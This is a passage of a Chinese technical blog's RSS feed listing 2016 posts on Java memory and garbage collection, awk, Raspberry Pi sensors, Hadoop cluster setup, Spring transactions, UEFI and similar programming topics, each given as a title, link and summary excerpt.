      <description>使用快捷键Ctrl+H打开“替换对话框”，在每行的开头添加内容。&#xA;勾选左下角的“正则表达式”选项（注意一定要记得勾选）&#xA;在“查找目标”里输入上尖号“^”，上尖号代表每行的开头&#xA;在“替换为”里输入“（需要添加的内容）”&#xA;然后点&#34;全部替换&#34;按钮，这样每行的前面就全部添加了（需要添加的内容）&#xA;在“查找目标”里输入美元符号“$”，美元符号代表每行的结尾&#xA;在“替换为”里输入“（需要添加的内容）”&#xA;然后点&#34;全部替换&#34;按钮，这样每行的结尾就全部添加了（需要添加的内容）</description>
    </item>
    <item>
      <title>Java内存模型（JMM）以及 垃圾回收机制 小结</title>
      <link>https://bchobby.github.io/posts/2ec349b689620ec744b18e7eb18a41ad/</link>
      <pubDate>Sun, 09 Oct 2016 19:43:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2ec349b689620ec744b18e7eb18a41ad/</guid>
      <description>内存模型：&#xA;内存模型描述了程序中各个变量（实例域、静态域和数组元素）之间的关系，以及在实际计算机系统中将变量存储到内存和从内存中取出变量这样的底层细节，对象最终是存储在内存里面的，这点没有错，但是编译器、运行库、处理器或者系统缓存可以有特权在变量指定内存位置存储或者取出变量的值。【JMM】（Java Memory Model的缩写）允许编译器和缓存以数据在处理器特定的缓存（或寄存器）和主存之间移动的次序拥有重要的特权，除非程序员使用了final或synchronized明确请求了某些可见性的保证。&#xA;1、主内存和工作内存&#xA;Java内存模型的主要目标是定义程序中各个变量的访问规则，即在虚拟机中将变量存储到内存和从内存中取出变量这样底层细节。此处的变量与Java编程时所说的变量不一样，指包括了实例字段、静态字段和构成数组对象的元素，但是不包括局部变量与方法参数，后者是线程私有的，不会被共享。&#xA;Java内存模型中规定了所有的变量都存储在主内存中，每条线程还有自己的工作内存（可以与前面将的处理器的高速缓存类比），线程的工作内存中保存了该线程使用到的变量到主内存副本拷贝，线程对变量的所有操作（读取、赋值）都必须在工作内存中进行，而不能直接读写主内存中的变量。不同线程之间无法直接访问对方工作内存中的变量，线程间变量值的传递均需要在主内存来完成，线程、主内存和工作内存的交互关系如下图所示。&#xA;2、内存间的交互操作&#xA;关于主内存与工作内存之间的具体交互协议，即一个变量如何从主内存拷贝到工作内存、如何从工作内存同步到主内存之间的实现细节，Java内存模型定义了以下八种操作来完成：&#xA;lock（锁定）：作用于主内存的变量，把一个变量标识为一条线程独占状态。unlock（解锁）：作用于主内存变量，把一个处于锁定状态的变量释放出来，释放后的变量才可以被其他线程锁定。 read（读取）：作用于主内存变量，把一个变量值从主内存传输到线程的工作内存中，以便随后的load动作使用load（载入）：作用于工作内存的变量，它把read操作从主内存中得到的变量值放入工作内存的变量副本中。 use（使用）：作用于工作内存的变量，把工作内存中的一个变量值传递给执行引擎，每当虚拟机遇到一个需要使用变量的值的字节码指令时将会执行这个操作。assign（赋值）：作用于工作内存的变量，它把一个从执行引擎接收到的值赋值给工作内存的变量，每当虚拟机遇到一个给变量赋值的字节码指令时执行这个操作。 store（存储）：作用于工作内存的变量，把工作内存中的一个变量的值传送到主内存中，以便随后的write的操作。write（写入）：作用于主内存的变量，它把store操作从工作内存中一个变量的值传送到主内存的变量中。 如果要把一个变量从主内存中复制到工作内存，就需要按顺寻地执行read和load操作，如果把变量从工作内存中同步回主内存中，就要按顺序地执行store和write操作。Java内存模型只要求上述操作必须按顺序执行，而没有保证必须是连续执行。也就是read和load之间，store和write之间是可以插入其他指令的，如对主内存中的变量a、b进行访问时，可能的顺序是read a，read b，load b， load a。&#xA;Java内存模型还规定了在执行上述八种基本操作时，必须满足如下规则：&#xA;不允许read和load、store和write操作之一单独出现不允许一个线程丢弃它的最近assign的操作，即变量在工作内存中改变了之后必须同步到主内存中。不允许一个线程无原因地（没有发生过任何assign操作）把数据从工作内存同步回主内存中。一个新的变量只能在主内存中诞生，不允许在工作内存中直接使用一个未被初始化（load或assign）的变量。即就是对一个变量实施use和store操作之前，必须先执行过了assign和load操作。一个变量在同一时刻只允许一条线程对其进行lock操作，lock和unlock必须成对出现如果对一个变量执行lock操作，将会清空工作内存中此变量的值，在执行引擎使用这个变量前需要重新执行load或assign操作初始化变量的值如果一个变量事先没有被lock操作锁定，则不允许对它执行unlock操作；也不允许去unlock一个被其他线程锁定的变量。对一个变量执行unlock操作之前，必须先把此变量同步到主内存中（执行store和write操作）。 3、JVM逻辑内存模型（以下部分参考“《深入理解java虚拟机》”）&#xA;如图为JVM的逻辑内存模型：&#xA;依次对内存中名词进行解释：&#xA;1.方法区&#xA;也称&#34;永久代” 、“非堆”， 它用于存储虚拟机加载的类信息、常量、静态变量、是各个线程共享的内存区域。默认最小值为16MB，最大值为64MB（未验证），可以通过-XX:PermSize 和 -XX:MaxPermSize 参数限制方法区的大小。&#xA;运行时常量池：是方法区的一部分，Class文件中除了有类的版本、字段、方法、接口等描述信息外，还有一项信息是常量池，用于存放编译器生成的各种符号引用，这部分内容将在类加载后放到方法区的运行时常量池中。&#xA;2.虚拟机栈&#xA;描述的是java 方法执行的内存模型：每个方法被执行的时候 都会创建一个“栈帧”用于存储局部变量表(包括参数)、操作栈、方法出口等信息。每个方法被调用到执行完的过程，就对应着一个栈帧在虚拟机栈中从入栈到出栈的过程。声明周期与线程相同，是线程私有的。&#xA;局部变量表存放了编译器可知的各种基本数据类型(boolean、byte、char、short、int、float、long、 double)、对象引用(引用指针，并非对象本身)，其中64位长度的long和double类型的数据会占用2个局部变量的空间，其余数据类型只占1 个。局部变量表所需的内存空间在编译期间完成分配，当进入一个方法时，这个方法需要在栈帧中分配多大的局部变量是完全确定的，在运行期间栈帧不会改变局部 变量表的大小空间。&#xA;3.本地方法栈&#xA;与虚拟机栈基本类似，区别在于虚拟机栈为虚拟机执行的java方法服务，而本地方法栈则是为Native方法服务。&#xA;4.堆 也叫做java 堆、GC堆，是java虚拟机所管理的内存中最大的一块内存区域，也是被各个线程共享的内存区域，在JVM启动时创建。该内存区域存放了对象实例及数组(所有new的对象)。其大小通过-Xms(最小值)和-Xmx(最大值)参数设置，-Xms为JVM启动时申请的最小内存，-Xmx为JVM可申请的最大内存。在JVM启动时，最大内存会被保留下来。为对象内存而保留的地址空间可以被分成年轻代和老年代。&#xA;默认当空余堆内存小于40%时，JVM会增大Heap到-Xmx指定的大小，可通过-XX:MinHeapFreeRation=来指定这个比列；当空余堆内存大于70%时，JVM会减小heap的大小到-Xms指定的大小，可通过XX:MaxHeapFreeRation=来指定这个比列，对于运行系统，为避免在运行时频繁调整Heap的大小，通常-Xms与-Xmx的值设成一样。&#xA;Parameter&#xA;Default Value&#xA;MinHeapFreeRatio&#xA;40&#xA;MaxHeapFreeRatio&#xA;70&#xA;-Xms&#xA;3670k&#xA;-Xmx&#xA;64m&#xA;注：如果是64位系统，这些值一般需要扩张30％，来容纳在64位系统下变大的对象。&#xA;从J2SE 1.2开始，JVM使用分代收集算法，在不同年代的区域里使用不同的算法。堆被划分为新生代和老年代。新生代主要存储新创建的对象和尚未进入老年代的对象。老年代存储经过多次新生代GC(MinorGC)任然存活的对象。&#xA;注1：图中的Perm不是堆内存，是永久代&#xA;注2：图中的Virtaul则是各区域还未被分配的内存，即最大内存-当前分配的内存&#xA;新生代：&#xA;新生代包括一块eden（伊甸园）和2块survivor(通常又称S0和S1或From和To)。大多数对象都是在eden中初始化。而对于2块survivor来说，总有一块是空的，它会在下一个复制收集过程中作为eden中的活跃对象和另一块survivor的目的地。在对象衰老之前（也就是被复制到tenured之前），它们会在两块survivor区域之间以这样的方式复制。可通过-Xmn参数来指定新生代的大小，也可以通过-XX:SurvivorRation来调整Eden Space及Survivor Space的大小。&#xA;老年代：&#xA;用于存放经过多次新生代Minor GC依然存活的对象，例如缓存对象，新建的对象也有可能直接进入老年代，主要有两种情况：①.大对象，可通过启动参数设置-XX:PretenureSizeThreshold=1024(单位为字节，默认为0)来代表超过多大时就不在新生代分配，而是直接在老年代分配。②.大的数组对象，即数组中无引用外部对象。</description>
    </item>
    <item>
      <title>awk &#39;{print $2}&#39; 这个命令</title>
      <link>https://bchobby.github.io/posts/78dd0e9f6b16ac1f00cbc909082ab3da/</link>
      <pubDate>Sat, 08 Oct 2016 14:56:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/78dd0e9f6b16ac1f00cbc909082ab3da/</guid>
      <description> $2：表示第二个字段 print $2 ： 打印第二个字段 awk &#39;{print $2}&#39; $fileName : 一行一行的读取指定的文件， 以空格作为分隔符，打印第二个字段 比如有这样一个文件 a1 b1 c1 d1 a2 b2 c2 d2 执行的结果是,输出 b1 b2 </description>
    </item>
    <item>
      <title>用树莓派学编程系列2——环境温湿度测量</title>
      <link>https://bchobby.github.io/posts/00dc24adba762049cf40896ebc35f57f/</link>
      <pubDate>Thu, 06 Oct 2016 12:45:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/00dc24adba762049cf40896ebc35f57f/</guid>
      <description>树莓派用DHT11读取环境温湿度&#xA;树莓派系列2——环境温湿度测量 前期准备 环境要求 DHT11，树莓派系统，Python，rpi.gpio等组件 相关软件安装方式见上章： http://blog.csdn.net/weixiazailaide/article/details/52740167 环境温湿度测量 创建temhum应用 具体方法见上章修改地方 helloworld/settings.py INSTALLED_APPS = [ &#39;raspberrypistate.apps.RaspberrypistateConfig&#39;, &#39;temhum.apps.TemhumConfig&#39;, &#39;django.contrib.admin&#39;, &#39;django.contrib.auth&#39;, &#39;django.contrib.contenttypes&#39;, &#39;django.contrib.sessions&#39;, &#39;django.contrib.messages&#39;, &#39;django.contrib.staticfiles&#39;, ] helloworld/urls.py&#xA;urlpatterns = [ url(r&#39;^raspberrypistate/&#39;, include(&#39;raspberrypistate.urls&#39;,namespace=&#34;raspberrypistate&#34;)), url(r&#39;^temhum/&#39;, include(&#39;temhum.urls&#39;,namespace=&#34;temhum&#34;)), url(r&#39;^admin/&#39;, admin.site.urls), ] DHT11与树莓派连接 DHT11简介 DHT11是一款有已校准数字信号输出的温湿度传感器。 精度湿度+-5%RH， 温度+-2℃，量程湿度20-90%RH， 温度0~50℃。&#xA;DHT11厂家说明书&#xA;产品参数 相对湿度 分 辨 率：16Bit 重 复 性：±1%RH 精 度：25℃ ±5%RH 互 换 性：可完全互换 响应时间：1/e(63%)25℃ 6s 1m/s 空气 6s 迟 滞：&amp;lt;±0.3%RH 长期稳定性：&amp;lt;±0.5%RH/yr温度 分 辨 率：16Bit 重 复 性：±1℃ 精 度：25℃ ±2℃ 响应时间：1/e(63%) 10S电气特性 供 电：DC 3.</description>
    </item>
    <item>
      <title>s5pv210启动debian出错提示bash: cannot set terminal process group (-1): Inappropriate ioctl for device...</title>
      <link>https://bchobby.github.io/posts/fcd3f7386dda27f396d2e1c180f54b65/</link>
      <pubDate>Thu, 06 Oct 2016 10:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fcd3f7386dda27f396d2e1c180f54b65/</guid>
      <description>1.启动参数如下：&#xA;bootargs=root=/dev/nfs nfsroot=192.168.1.8:/opt/wheezy_fs ip=192.168.1.9:192.168.1.8:192.168.1.1:255.255.255.0::eth0:on init=/bin/bash console=ttySAC0,115200&#xA;1.1错误信息如下:&#xA;bash: cannot set terminal process group (-1): Inappropriate ioctl for device&#xA;bash: no job control in this shell&#xA;2.修改启动参数:&#xA;bootargs=root=/dev/nfs nfsroot=192.168.1.8:/opt/wheezy_fs ip=192.168.1.9:192.168.1.8:192.168.1.1:255.255.255.0::eth0:on init=/sbin/init console=ttySAC0,115200&#xA;3.再次出现新的错误:&#xA;udevd[178]:unable to ctrl connection :function not implemented&#xA;对策:为内核打补丁,补丁地址如下:&#xA;https://github.com/genesi/linux-legacy/commit/a84fac75f38de592e530a2f9f982d7aafec6c288&#xA;转载于:https://www.cnblogs.com/dakewei/p/5933515.html</description>
    </item>
    <item>
      <title>常见文件文件头</title>
      <link>https://bchobby.github.io/posts/92417a3ff4457472d65ff796de578b28/</link>
      <pubDate>Sat, 01 Oct 2016 15:15:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/92417a3ff4457472d65ff796de578b28/</guid>
      <description>各类文件的文件头标志&#xA;1、从Ultra－edit-32中提取出来的&#xA;附件:文件格式分析器&#xA;JPEG (jpg)，文件头：FFD8FF&#xA;PNG (png)，文件头：89504E47&#xA;GIF (gif)，文件头：47494638&#xA;TIFF (tif)，文件头：49492A00&#xA;Windows Bitmap (bmp)，文件头：424D&#xA;CAD (dwg)，文件头：41433130&#xA;Adobe Photoshop (psd)，文件头：38425053&#xA;Rich Text Format (rtf)，文件头：7B5C727466&#xA;XML (xml)，文件头：3C3F786D6C&#xA;HTML (html)，文件头：68746D6C3E&#xA;Email [thorough only] (eml)，文件头：44656C69766572792D646174653A&#xA;Outlook Express (dbx)，文件头：CFAD12FEC5FD746F&#xA;Outlook (pst)，文件头：2142444E&#xA;MS Word/Excel (xls.or.doc)，文件头：D0CF11E0&#xA;MS Access (mdb)，文件头：5374616E64617264204A&#xA;WordPerfect (wpd)，文件头：FF575043&#xA;Postscript (eps.or.ps)，文件头：252150532D41646F6265&#xA;Adobe Acrobat (pdf)，文件头：255044462D312E&#xA;Quicken (qdf)，文件头：AC9EBD8F&#xA;Windows Password (pwl)，文件头：E3828596&#xA;ZIP Archive (zip)，文件头：504B0304&#xA;RAR Archive (rar)，文件头：52617221&#xA;Wave (wav)，文件头：57415645&#xA;AVI (avi)，文件头：41564920&#xA;Real Audio (ram)，文件头：2E7261FD&#xA;Real Media (rm)，文件头：2E524D46</description>
    </item>
    <item>
      <title>Android studio 升级2.2 之后 Maven插件不能使用解决(No service of type Factory available in ProjectScopeServices)</title>
      <link>https://bchobby.github.io/posts/c8fd80d3c2fb9511001c1f6e82e274ac/</link>
      <pubDate>Fri, 30 Sep 2016 09:22:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c8fd80d3c2fb9511001c1f6e82e274ac/</guid>
      <description>compile报下面的错误&#xA;&amp;lt;code class=&#34;hljs fsharp has-numbering&#34; style=&#34;display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: &#39;Source Code Pro&#39;, monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;&#34;&amp;gt;Error:(&amp;lt;span class=&#34;hljs-number&#34; style=&#34;color: rgb(0, 102, 102); box-sizing: border-box;&#34;&amp;gt;2&amp;lt;/span&amp;gt;, &amp;lt;span class=&#34;hljs-number&#34; style=&#34;color: rgb(0, 102, 102); box-sizing: border-box;&#34;&amp;gt;0&amp;lt;/span&amp;gt;) No service &amp;lt;span class=&#34;hljs-keyword&#34; style=&#34;color: rgb(0, 0, 136); box-sizing: border-box;&#34;&amp;gt;of&amp;lt;/span&amp;gt; &amp;lt;span class=&#34;hljs-class&#34; style=&#34;box-sizing: border-box;&#34;&amp;gt;&amp;lt;span class=&#34;hljs-keyword&#34; style=&#34;color: rgb(0, 0, 136); box-sizing: border-box;&#34;&amp;gt;type&amp;lt;/span&amp;gt; &amp;lt;span class=&#34;hljs-title&#34; style=&#34;box-sizing: border-box; color: rgb(102, 0, 102);&#34;</description>
    </item>
    <item>
      <title>Servlet API 中文版</title>
      <link>https://bchobby.github.io/posts/4e2f3b5bc4b2b30ea7e06d346578eeaf/</link>
      <pubDate>Tue, 27 Sep 2016 10:38:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4e2f3b5bc4b2b30ea7e06d346578eeaf/</guid>
      <description>基本类和接口 一、javax.servlet.Servlet接口 servlet抽象集是javax.servlet.Servlet接口，它规定了必须由Servlet类实现由servlet引擎识别和管理的方法集。 Servlet接口的基本目标是提供生命期方法init()、service()和destroy()方法。 servlet接口中的方法 void init(ServletConfit config)throws ServletException 在servlet被载入后和实施服务前由servlet引擎进行?次性调用。如果init()产生溢出UnavailableException，则 servle退出服务。 ServletConfig getServletConfig() 返回传递到servlet的init()方法的ServletConfig对象 void service(ServletRequest request, ServletResponse response)throws ServletException,IOException 处理request对象中描述的请求，使用response对象返回请求结果 String getServletInfo() 返回描述servlet的一个字符串 void destory() 当servlet将要卸载时由servlet引擎调用 二、javax.servlet.GenericServlet类（协议无关版本） GenericServlet是一种与协议无关的servlet，是一种跟本不对请求提供服务的servlet，而是简单地从init()方法启动后台线程并在destory()中杀死。它可以用于模拟操作系统的端口监控进程。 servlet API提供了Servlet接口的直接实现，称为GenericServlet。此类提供除了service()方法外所有接口中方法的缺省实现。这意味着通过简单地扩展GenericServlte可以编写一个基本的servlet。 除了Servlet接口外，GenericServlet也实现了ServletConfig接口，处理初始化参数和servlet上下文，提供对授权传递到init()方法中的ServletConfig对象的方法。 GenericServlet类中的方法 void destory() 编飞组成单词“destory”的一个注册入口 String getInitParameter(String name) 返回具有指定名称的初始化参数值。通过凋用config.getInitParameter(name)实现。 Enumeration getInitParameterNames() 返回此serv]et已编码的所有初始化参数的?个枚举类型值。调用config.getInitParameterNames()获得列表。如果未提供初始化参数，则返回?个空的枚举类型值（但不是null） ServletConfig getServletConfig() 返回传递到init()方法的ServletConfig对象 ServletContext getServletContext() 返回在config对象中引用的ServletContext String getServletInfo() 返回空字符串 void init(ServletConfig config)throws ServletException 在一实例变量中保存config对象。编写组成单词“init”的注册入口,然后调用方法init() void init()throws ServletException 可以被跳过以处理servlet初始化.在config对象被保存后init(ServletConfig config)的结尾处自动被调用.servlet作者经常会忘记调用super.init(config) void log(String msg) 编写注册servlet的入口.为此调用servlet上下文的log()方法.servlet的名字被加到消息文本的开头。 void log(String msg,Throwable t) 编写一个入口和servlet注册的栈轨迹。此方法也是ServletContext中相应方法的一个副本。 abstract void service(Request request,Response response)throws ServletException,IOException 由servlet引擎调用为请求对象描述的请求提供服务。这是GenericServlet中唯一的抽象方法。因此它也是唯一必须被子类所覆盖的方法。 String getServletName() 返回在Web应用发布描述器（web.</description>
    </item>
    <item>
      <title>CSS3 3D旋转魔方</title>
      <link>https://bchobby.github.io/posts/7cdf8f2cef213fd23535b132cab7ba6f/</link>
      <pubDate>Mon, 26 Sep 2016 23:39:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7cdf8f2cef213fd23535b132cab7ba6f/</guid>
      <description>效果图：&#xA;注释：&#xA;ul * 表示ul下的所有样式都是这些。&#xA;改变代码中的ul *中的&#xA;&amp;lt;span style=&#34;font-size:18px;color:#cc33cc;&#34;&amp;gt;background-color: rgba(255, 100, 100, 0.5);&amp;lt;/span&amp;gt; 即可改变魔方的颜色。&#xA;可以尝试通过改变perspective的值可以看下有什么效果。&#xA;代码：&#xA;&amp;lt;span style=&#34;font-size:18px;color:#3333ff;&#34;&amp;gt;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;title&amp;gt;3D魔方&amp;lt;/title&amp;gt; &amp;lt;style type=&#34;text/css&#34;&amp;gt; * { margin:0; padding:0; } html { background: -webkit-radial-gradient(center, ellipse, #40E0D0 0%, #000000 100%); background: radial-gradient(ellipse at center, #40E0D0 0%, #000000 100%); height: 100%; } body { position: absolute; width: 400px; height: 400px; left:40%; top:20%; -webkit-perspective: 1000px; -ms-perspective: 1000px; perspective: 1000px; } ul { -webkit-animation:run 6s linear infinite; animation:run 6s linear infinite; height: 100%; position: absolute; -webkit-transform-style: preserve-3d; -ms-transform-style: preserve-3d; transform-style: preserve-3d; width: 100%; } ul * { background: -webkit-linear-gradient(180deg, rgba(0, 0, 0, 0) 0px, rgba(54, 226, 248, 0.</description>
    </item>
    <item>
      <title>CentOS 6.5 hadoop 2.7.3 集群环境搭建</title>
      <link>https://bchobby.github.io/posts/2f6b72cc6b709579cebc213437ea5fe4/</link>
      <pubDate>Sat, 24 Sep 2016 20:13:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2f6b72cc6b709579cebc213437ea5fe4/</guid>
      <description>CentOS 6.5 hadoop 2.7.3 集群环境搭建 所需硬件，软件要求 使用 virtualbox 构建三台虚拟机模拟真实物理环境&#xA;操作系统：CentOS6.5&#xA;主机列表：&#xA;master ip: 192.168.3.171 slave1 ip: 192.168.3.135 slave2 ip: 192.168.3.136 为三台主机添加同一用户，设置密码：&#xA;# 添加用户 useradd hadoop # 修改密码 passwd hadoop SSH 免密码登录安装，配置 保证由master主机能够免密码登录到datanodes节点机上&#xA;# master 生成公钥 $ ssh-keygen -t rsa -P &#39;&#39; -f ~/.ssh/id_rsa $ cat ~/.ssh/id_rsa.pub &amp;gt;&amp;gt; ~/.ssh/authorized_keys $ chmod 0600 ~/.ssh/authorized_keys 复制 master 公钥到 datanodes节点机&#xA;# 复制 master 主机公钥到 datanode 节点机的 /tmp 目录 scp ~/.ssh/id_rsa.pub hadoop@192.168.3.135:/tmp/authorized_keys scp ~/.ssh/id_rsa.pub hadoop@192.</description>
    </item>
    <item>
      <title>Spring结合hibernate和jdbcTemplate多数据源事物问题</title>
      <link>https://bchobby.github.io/posts/54936c444758923551db12ef9befd6ef/</link>
      <pubDate>Sat, 24 Sep 2016 14:32:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/54936c444758923551db12ef9befd6ef/</guid>
      <description>首先说明我的环境Spring3.2.8+hibernate3.6.10.Final+tomcat7&#xA;在写这篇博客前在网上查询了相关资料 ，网上给出的结论是：如果有多个相同的数据源,开启了多个事务，使用spring的声明式事务(AOP配置：1、xml配置 2、注解Transaction 两者都是。关于编程式事务就自行百度)管理事务，一旦发生RunTimeException异常，那么多个事务都会回滚。 如果是多个不相同的数据源(比如oracle不同用户、oracle数据源和SqlServer数据源这样的)，开启了多个事务， 使用使用spring的声明式事务管理事务，一旦发生RunTimeException异常，多个事务不能同时回滚&#xA;上面就是网上给出的结论，在Tomcat中如果让spring支持不同数据源事务一致性，必须用第三方工具 比如 Atomikos 和Jotm(或者换一个应用服务器 比如JBOSS)。下面给出我的测试结果&#xA;配置多个数据 我配置了三个数据源(每单个数据源又分为hibernate和jdbcTemplate)&#xA;数据源1、 dataSourceZhw： 数据库是oracle，用户是zhw 构建的hibernate和jdbcTemplate模板是 hibernateTemplate_zhw和jdbcTemplate_zhw 构建的两个事务管理器是:hiernateTx_zhw和jdbcTx_zhw&#xA;&amp;lt;bean id=&#34;dataSourceZhw&#34; destroy-method=&#34;close&#34; class=&#34;org.apache.commons.dbcp.BasicDataSource&#34;&amp;gt; &amp;lt;property name=&#34;driverClassName&#34; value=&#34;${jdbc.oracle_driverClassName}&#34; /&amp;gt; &amp;lt;property name=&#34;url&#34; value=&#34;${jdbc.oracle_url}&#34; /&amp;gt; &amp;lt;property name=&#34;username&#34; value=&#34;${jdbc.oracle_username}&#34; /&amp;gt; &amp;lt;property name=&#34;password&#34; value=&#34;${jdbc.oracle_password}&#34; /&amp;gt; &amp;lt;/bean&amp;gt; &amp;lt;!-- 定义hibernate模板和事务管理 --&amp;gt; &amp;lt;bean id=&#34;hibernateTemplate_zhw&#34; class=&#34;org.springframework.orm.hibernate3.HibernateTemplate&#34;&amp;gt; &amp;lt;property name=&#34;sessionFactory&#34; ref=&#34;sessionFactoryZhw&#34;&amp;gt;&amp;lt;/property&amp;gt; &amp;lt;/bean&amp;gt; &amp;lt;bean id=&#34;txManager_zhw_hibernate&#34; class=&#34;org.springframework.orm.hibernate3.HibernateTransactionManager&#34;&amp;gt; &amp;lt;property name=&#34;sessionFactory&#34; ref=&#34;sessionFactoryZhw&#34; /&amp;gt; &amp;lt;qualifier value=&#34;hiernateTx_zhw&#34;&amp;gt;&amp;lt;/qualifier&amp;gt; &amp;lt;/bean&amp;gt; &amp;lt;tx:annotation-driven transaction-manager=&#34;txManager_zhw_hibernate&#34; /&amp;gt; &amp;lt;!-- 定义jdbcTemplate模板和事务管理 --&amp;gt; &amp;lt;bean id=&#34;jdbcTemplate_zhw&#34; class=&#34;</description>
    </item>
    <item>
      <title>JavaWeb网上商城</title>
      <link>https://bchobby.github.io/posts/e151aa98f6e824fcaa60f7deefb0d205/</link>
      <pubDate>Fri, 23 Sep 2016 16:31:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e151aa98f6e824fcaa60f7deefb0d205/</guid>
      <description>web项目 1.关于web项目目的: 将web阶段所有学过的知识点复习总结. 2.关于web项目功能: 功能： 1、用户注册 2、用户登录 3、添加商品（上传） 4、商品查看-- 列表查询 5、商品详情页面 6、将商品添加购物车 7、查看购物车 8、修改购物车 9、生成订单 10、订单查看（取消） 11、在线支付 12、销售榜单查看 会对项目进行重构. 会使用注解+动态代理实现细粒度权限控制. 添加关于ajax操作 对于订单操作时，使用ajax 在线支付功能&#x9;3.系统分析 1.通过UML用例图来确定当前用户以及所具有的功能 游客（未登录）： 注册、登陆、商品查看 商城注册用户 ： 商品查看、添加商品到购物车、购物车管理、生成订单、订单管理、在线支付 管理员 ： 添加商品、商品管理、查看订单 、榜单查看（导出） 2.系统设计 1.技术选型 JSTL + JSP + Servlet + JavaBean + BeanUtils + FileUpload + JavaMail + DBUtils(JDBC) + C3P0 + MySQL + MyEclipse10+ Tomcat7.0 + JDK6 + Windows MVC 模式 JavaEE 三层结构 DAO 模式 2.数据库设计 E-R图 实体关系图.</description>
    </item>
    <item>
      <title>关于UEFI</title>
      <link>https://bchobby.github.io/posts/ae616b06e26e936ed1c0d6028dda4601/</link>
      <pubDate>Thu, 22 Sep 2016 16:58:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ae616b06e26e936ed1c0d6028dda4601/</guid>
      <description>什么是UEFI 简单来讲，是在硬件及操作系统之间的接口，如下图： UEFI的优点 开发效率高 采用C/C++语言编写软件分层结可扩展性 以module的形式，如Driver的模型驱动、表、protocol有版本控制性能 提供的异步操作，event事件，减少CPU等待时间舍弃了中断这种耗时的操作启动时可仅仅遍历启动所需设备安全 在执行应用及驱动前会检测程序和驱动的证书 UEFI核心概念 启动过程 重点关注以下几个入口文件：&#xA;PeiMain.cDxeMain.cBdsEntry.c Module Module有统一的格式要求，一般是源文件+inf（类似于makefile）+uni（资源文件），每一种Moudle的格式稍稍有些不同，大概有以下几种类型： Protocol 可以说Protocol是UEFI中最重要的概念。可以理解为server与client间通信的信使。&#xA;从使用者的角度来看：&#xA;从提供者的角度来看：&#xA;搞清楚以下几个问题： 1. protocol是什么？ - 从语言角度讲，是包含了属性和函数指针的结构体； - 从功能上讲，是server与client对服务方式上的一种约定； 2. protocol安装到什么地方？ - 在image对象中的句柄中；image对象是指DXE型驱动； 3. 怎样安装protocol？ - 通过InstallprotocolInterface; 4. 什么时候安装？ - 在image初始化时（在执行模块入口函数时）&#xA;EFI_HANDLE 指向某种对象的指针，包括controller及Image对象。每个HANDLE都有一个Protocols链表用来存放属于自己的Protocol。 Controller UEFI扫描总线后，会为每个设备建立一个Controller对象，用于控制设备。 什么时候扫描总线？PCI Scan的时候？&#xA;Image SystemTable 用户空间通往内核空间的通道，在DXE阶段被初始化。 两个核心成员： - BootServices - RuntimeServices Event 从生产者和消费者的角度理解，一个产生事件：&#xA;CreateEvent 一个消费事件&#xA;WaitForEvent 触发事件&#xA;SignalEvent时钟中断 Driver 服务型驱动（DXE驱动） 三个部分&amp;gt;&#xA;protocol服务接口设计 定义有哪些函数及变量、GUID。&#xA;接口的实现 实现这些函数。&#xA;驱动框架&#xA;定义inf文件入口函数中安装驱动（gBS-&amp;gt;InstallProtocolInterface） UEFI驱动 一个设备/总线驱动程序在安装时首先要找到对应的硬件设备（在UEFI中是要找到对应的控制器），然后执行安装操作，将驱动程序安装到硬件设备的控制器上。核心是通过EFI Driver Binding Protocol管理驱动程序，在驱动的入口函数中安装EDBP到自身的Handle上，在以下三个函数：</description>
    </item>
    <item>
      <title>部署公文时要注意的问题</title>
      <link>https://bchobby.github.io/posts/a7578f7682d712bdda32c75074c62791/</link>
      <pubDate>Thu, 22 Sep 2016 13:33:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a7578f7682d712bdda32c75074c62791/</guid>
      <description> receive_config_index.jsp,send_config_index.jsp, processEngineHostmin:Url命名空间对象,本地测试时应当置空 </description>
    </item>
    <item>
      <title>Unknown column &#39;&#39; in &#39;field list&#39;解决方案</title>
      <link>https://bchobby.github.io/posts/95fac430009f8dc317d4f48eb5cdd07e/</link>
      <pubDate>Thu, 22 Sep 2016 11:15:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/95fac430009f8dc317d4f48eb5cdd07e/</guid>
      <description>今天在项目操作中突然遇到这个问题;查了之后发现原来是对应的实体中注解的cloumn在表中不存在;表中加上对应字段后,就ok了;&#xA;解决地址来自于:http://jingyan.baidu.com/article/9f7e7ec05c5ad76f281554ab.html</description>
    </item>
    <item>
      <title>SQL Server 创建表及其约束条件</title>
      <link>https://bchobby.github.io/posts/fdb1492d36155263ab50318b2f30194a/</link>
      <pubDate>Wed, 21 Sep 2016 19:55:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fdb1492d36155263ab50318b2f30194a/</guid>
